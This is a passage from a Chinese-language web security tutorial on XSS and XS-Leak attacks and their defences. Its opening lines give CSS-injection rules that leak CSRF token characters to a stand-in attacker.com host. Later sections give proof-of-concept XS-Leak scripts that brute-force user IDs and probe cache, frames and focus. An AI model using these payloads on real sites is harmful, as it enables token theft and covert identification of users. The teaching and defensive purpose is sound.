<!-- 配合CSS注入实现数据窃取 -->input[value^="a"] { background: url(//attacker.com/?c=a) }input[value^="b"] { background: url(//attacker.com/?c=b) }<!-- 逐字符爆破CSRF Token -->3.3.20 原型链污染辅助 XSS
// 当页面存在原型链污染漏洞时,可以配合XSS触发// 污染 innerHTML 的 setterObject.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// 污染 locationObject.prototype.href = 'javascript:alert(1)';
// 配合模板引擎的原型链污染// 先污染原型,等待模板渲染时自动触发XSS4防护
4.1 输入过滤
对用户输入进行校验,拒绝或转义危险字符,是最基础的防护手段。
# 常见需要过滤/转义的字符< → <> → >" → "' → '& → &/ → /注意:输入过滤不能作为唯一防线,因为数据可能在多个地方输出,编码上下文不同,单纯过滤容易被绕过。
4.2 输出编码(最核心)
根据数据输出的上下文,选择对应的编码方式,这是防御 XSS 最有效的手段。
4.2.1 HTML 上下文
数据插入到 HTML 标签之间时,进行 HTML 实体编码:
<!-- 危险:直接输出用户输入 --><div>用户输入的内容</div>
<!-- 安全:HTML实体编码后输出 --><div><script>alert(1)</script></div>4.2.2 HTML 属性上下文
数据插入到标签属性中时
<!-- 危险 --><input value="用户输入" />
<!-- 安全:属性值必须加引号,且对内容编码 --><input value="<script>alert(1)</script>" />4.2.3 JS 上下文
数据插入到 <script> 标签或事件属性中时,需要 JS 编码
// 危险var username = "用户输入";
// 安全:对数据进行JSON序列化或JS编码var username = "经过JS编码的内容";
// 推荐做法:通过DOM方式赋值,避免直接拼接document.getElementById('name').textContent = userInput; // 安全document.getElementById('name').innerHTML = userInput; // 危险!4.2.4 URL 上下文
数据插入到 URL 中时,需要 URL 编码
// 危险<a href="https://example.com?q=用户输入">
// 安全<a href="https://example.com?q=encodeURIComponent(用户输入)">
// 还需校验协议,防止javascript:伪协议if (!url.startsWith('http://') && !url.startsWith('https://')) { url = '#'; // 拒绝非http协议}4.3 HttpOnly Cookie
给 Cookie 设置 HttpOnly 属性,禁止 JS 读取 Cookie,即使 XSS 成功也无法盗取 Cookie:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict# PHPsetcookie("sessionid", "abc123", [ 'httponly' => true, 'secure' => true, 'samesite' => 'Strict']);
# Python Flaskresponse.set_cookie('sessionid', 'abc123', httponly=True, secure=True)局限:只能防止 Cookie 被盗,无法阻止其他 XSS 危害(如页面篡改、钓鱼等)
4.4 CSP(Content Security Policy)
通过 HTTP 响应头告诉浏览器只允许加载指定来源的资源,是目前防御 XSS 最强的手段之一:
# 只允许加载本域资源,禁止内联脚本和evalContent-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
# 使用nonce允许特定内联脚本Content-Security-Policy: script-src 'nonce-随机值'<!-- 配合nonce使用,只有带正确nonce的script才能执行 --><script nonce="服务端生成的随机值"> // 合法的内联脚本</script>
<!-- 攻击者注入的脚本没有nonce,浏览器拒绝执行 --><script>alert(1)</script> <!-- 被CSP拦截 -->CSP 常用指令说明:
| 指令 | 作用 |
|---|---|
default-src | 所有资源的默认策略 |
script-src | JS 来源限制 |
img-src | 图片来源限制 |
connect-src | Ajax/fetch 请求限制 |
object-src 'none' | 禁止 Flash 等插件 |
base-uri 'self' | 防止 base 标签劫持 |
4.5 X-XSS-Protection 响应头
旧版浏览器内置的 XSS 过滤器,现代浏览器已逐步废弃,但仍建议配置
X-XSS-Protection: 1; mode=block| 值 | 含义 |
|---|---|
0 | 关闭过滤器 |
1 | 开启,检测到XSS时净化页面 |
1; mode=block | 开启,检测到XSS时直接阻止页面渲染 |
注意:现代浏览器(Chrome 78+)已移除该功能,主要依赖 CSP
4.6 使用安全的 DOM 操作 API
避免使用危险 API,改用安全替代方案
// ❌ 危险API,直接解析并执行HTMLelement.innerHTML = userInput;element.outerHTML = userInput;document.write(userInput);eval(userInput);
// ✅ 安全API,只处理纯文本不解析HTMLelement.textContent = userInput;element.innerText = userInput;
// ✅ 安全的属性设置element.setAttribute('href', encodeURI(userInput));4.7 框架自带的 XSS 防护
主流前端框架默认对输出进行转义,但需注意绕过场景
// React:默认安全,自动转义return <div>{userInput}</div> // ✅ 安全
// React:dangerouslySetInnerHTML 会绕过转义,慎用return <div dangerouslySetInnerHTML={{__html: userInput}} /> // ❌ 危险
// Vue:默认安全<div>{{ userInput }}</div> // ✅ 安全
// Vue:v-html 会绕过转义,慎用<div v-html="userInput"></div> // ❌ 危险4.8 富文本场景:使用白名单过滤库
论坛、评论等需要保留部分 HTML 的场景,不能简单转义,应使用成熟的白名单过滤库
// 推荐库DOMPurify // 最主流,前端使用bleach // PythonHtmlSanitizer // Java// DOMPurify 示例import DOMPurify from 'dompurify';
// 只允许安全的标签和属性,过滤掉所有危险内容const clean = DOMPurify.sanitize(userInput, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'], ALLOWED_ATTR: ['href']});element.innerHTML = clean;警告:不要自己手写白名单过滤,极易遗漏边界情况,务必使用经过安全审计的成熟库
5扩展
5.1 浏览器渲染过程
浏览器从拿到 HTML 字符串到最终显示页面,完整流程如下:
HTML字符串 → 解析HTML → 样式计算 → 布局 → 分层 → 绘制 → 分块 → 光栅化 → 画 → 像素信息每一步的产物分别是:DOM树、CSSOM树、渲染树、盒模型、界面。
5.1.1 解析 HTML
浏览器将 HTML 字符串同时解析成两棵树:
DOM 树:document 是根节点,body 是其子节点,拿到根节点即可访问网页所有节点。
CSSOM 树:StyleSheetList 是根节点,代表网页中所有层叠样式表,共有四种来源:
<style></style> <!-- 内部样式表 --><link src=".."></link> <!-- 外部样式表 --><div style=".."></div> <!-- 内联样式表 --> <!-- 浏览器默认样式表 -->
document.styleSheets可以获取除内联和默认样式表之外的所有内部和外部样式表。
预解析机制:浏览器在开始解析前,会启动一个预解析线程率先下载外部 CSS 和 JS 文件:
- 遇到
<link>时,主线程不等待,继续解析后续 HTML,CSS 在预解析线程中下载,这就是 CSS 不阻塞 HTML 解析的根本原因。 - 遇到
<script>时,主线程停止解析,等待 JS 下载并执行完毕才继续,因为 JS 可能修改当前 DOM 树,这就是 JS 阻塞 HTML 解析的根本原因。
5.1.2 样式计算
主线程遍历 DOM 树,为每个节点计算最终样式(Computed Style):
- 预设值转换为绝对值:
red→rgb(255,0,0) - 相对单位转换为绝对单位:
em→px
5.1.3 布局
遍历 DOM 树每个节点,计算每个节点的几何信息,包括宽高、相对包含块的位置等。
5.1.4 分层
主线程对整个布局树进行分层,好处是某一层发生变化时,只对该层进行后续处理,提升渲染效率。以下情况会影响分层结果:
/* 这些属性会影响分层 */overflow: scroll; /* 滚动条 */transform: ...; /* 变换 */opacity: ...; /* 透明度 */will-change: ...; /* 主动声明,影响最大 */```
---
### 5.1.5 绘制
主线程为每个层单独产生**绘制指令集**,描述该层内容如何画出来,类似于:```将笔移动到 (10, 30) 的位置画一个 20×30 的矩形将矩形填充为红色...绘制完成后,渲染主线程的工作到此结束,剩余步骤交给其他线程完成。
5.1.6 分块
合成线程接收每个图层的绘制信息,将每个图层划分为更小的区域(块),由线程池中的多个线程并行完成分块工作。
5.1.7 光栅化
将每个块转换为位图(内存中的二维数组,记录每个像素点信息)。由 GPU 进程开启多个线程完成,并优先处理靠近视口的块。
5.1.8 画
合成线程拿到每个层、每个块的位图后,生成**指引(quad)**信息,标识每个位图应画到屏幕的哪个位置,并处理旋转、缩放等变形。
transform的变形发生在合成线程,与渲染主线程无关,这就是 transform 效率高的本质原因。
最终合成线程将 quad 提交给 GPU 进程,由 GPU 硬件完成屏幕成像。
渲染流程总结
| 阶段 | 执行线程 | 产物 |
|---|---|---|
| 解析HTML | 主线程 + 预解析线程 | DOM树 + CSSOM树 |
| 样式计算 | 主线程 | 带样式的DOM树 |
| 布局 | 主线程 | 盒模型(几何信息) |
| 分层 | 主线程 | 图层树 |
| 绘制 | 主线程 | 绘制指令集 |
| 分块 | 合成线程 + 线程池 | 分块信息 |
| 光栅化 | GPU进程 | 位图 |
| 画 | 合成线程 + GPU | 屏幕像素 |
5.2 同源策略
同源策略是理解 XSS、CSRF、XS-Leak 等攻击的基础,详细内容之前在整理CSRF时已经整理,不再结合这里重写扩展了,博客链接如下
5.3 XS-Leak(跨站泄漏)
核心概念:不直接读取跨域数据,而是通过观察浏览器行为的副作用(加载成功/失败、响应时间、帧数量等)来推断用户的敏感信息。
与 CSRF 的区别:CSRF 是代替用户执行操作,XS-Leak 是推断用户的信息。
交互结果往往以二进制形式呈现——答案只有是或否。
5.3.1 基于错误事件的攻击
浏览器加载跨域资源时,虽然同源策略禁止读取响应内容,但加载成功会触发 onload,加载失败会触发 onerror,这个状态本身就是信息:
// 利用HTTP状态码差异推断用户身份// GET /api/user/1234 → 200 OK → onload触发 → 当前用户是1234// GET /api/user/1235 → 401 未授权 → onerror触发 → 当前用户不是1235
function checkId(id) { const script = document.createElement('script'); script.src = `https://example.com/api/users/${id}`; script.onload = () => { console.log(`找到了!当前登录用户ID: ${id}`); }; script.onerror = () => { console.log(`ID ${id} 不是当前用户`); }; document.body.appendChild(script);}
// 爆破ID范围 0~40const ids = Array(41).fill().map((_, i) => i);for (const id of ids) { checkId(id);}这里不需要读取响应体,同源策略也不允许读取,只需要监听事件触发即可。
5.3.2 对 postMessage 通信的攻击
postMessage 是允许跨域通信的合法机制,但若使用不当会被攻击者截获消息:
// ❌ 存在漏洞:targetOrigin 使用了通配符*,任意来源都能接收// Origin: http://example.comconst site = new URLSearchParams(window.location.search).get('site');const popup = window.open(site); // 攻击者控制site参数,打开evil.compopup.postMessage('secret message!', '*'); // 任意来源均可接收
// Origin: https://evil.comwindow.addEventListener('message', e => { alert(e.data); // secret message! 泄漏});修复方式:将 * 改为具体的目标域名:
// ✅ 指定目标源,只有该来源才能接收消息popup.postMessage('secret message!', 'https://sub.example.com');5.3.3 帧计数攻击
窗口中已加载的 iframe 数量可能泄露信息。例如某应用将搜索结果加载进 iframe,无结果时不显示 iframe
// 通过计算 frames 数量推断搜索结果是否存在const win = window.open('https://example.com/search?q=secret');win.onload = () => { if (win.frames.length === 1) { console.log('搜索结果存在,该邮箱已注册!'); } else { console.log('无搜索结果'); }};5.3.4 浏览器缓存计时攻击
从缓存加载的资源比从服务器加载快得多,通过测量加载时间可以判断资源是否被缓存过:
const THRESHOLD = 20; // 缓存加载通常 <20ms,服务器加载通常更慢
const adminImagePerfEntry = window.performance .getEntries() .filter((entry) => entry.name.endsWith('admin.svg'));
if (adminImagePerfEntry[0].duration < THRESHOLD) { console.log('该资源已被缓存,当前用户可能是管理员!');}5.3.5 焦点探测攻击
通过检测页面焦点变化来推断 iframe 内部的元素状态:
<!-- 当iframe内部某个可聚焦元素获得焦点时,父页面会触发blur事件 --><body onblur="if(!window.found){window.found=true;alert('找到了ID: '+position_of_current_id)}"><div id="y"></div><script>position_of_current_id = 1000;found = false;
var iframe = document.createElement('iframe');iframe.src = 'https://target.com/profile';document.body.appendChild(iframe);iframe.onload = tryNextID;
function tryNextID() { if (!found) { document.getElementById('y').textContent = position_of_current_id; // 修改hash,尝试让页面内对应ID的元素获得焦点 iframe.src = 'https://target.com/profile#' + position_of_current_id; timer = setTimeout(function() { if (!found && position_of_current_id < 2000) { position_of_current_id++; } tryNextID(); }, 50); }}</script></body>原理:若目标页面中存在对应 ID 的元素,修改 hash 后该元素自动获得焦点,导致父页面触发
blur事件,从而得知该 ID 存在。
5.3.6 XS-Leak 攻击手法总结
| 攻击手法 | 利用的侧信道 | 能推断的信息 |
|---|---|---|
| 错误事件探测 | HTTP状态码 → onload/onerror | 用户ID、权限状态 |
| postMessage劫持 | targetOrigin为通配符 | 跨域消息内容 |
| 帧计数 | iframe数量变化 | 搜索结果是否存在 |
| 缓存计时 | 加载时间差异 | 用户是否访问过某资源 |
| 焦点探测 | blur事件触发 | 页面内元素ID是否存在 |
本质:XS-Leak 绕过了同源策略对内容的保护,但同源策略对行为和状态的保护是不完整的,攻击者利用的正是这个缝隙。
5.3.7 XS-Leak 防御
Token 保护敏感端点,让攻击者无法构造可预测的请求 URL:
# ❌ 没有token,可以爆破/api/users/1234
# ✅ 加入不可猜测的token,爆破失效/api/users/1234?token=be930b8cfb5011eb9a030242ac130003Fetch Metadata 请求头,服务端校验请求来源,拒绝跨站请求:
// Sec-Fetch-Site 由浏览器自动添加// 取值:cross-site / same-origin / same-site / none
app.get('/api/users/:id', authorization, (req, res) => { if (req.get('Sec-Fetch-Site') === 'cross-site') { return res.sendStatus(403); // 拒绝所有跨站请求 } return res.send({ id: 1234, name: 'John', role: 'admin' });});禁用缓存,防止缓存计时攻击:
Cache-Control: no-store图像添加不可预测 token,防止攻击者探测缓存状态:
/avatars/admin.svg?token=be930b8cfb5011eb9a030242ac130003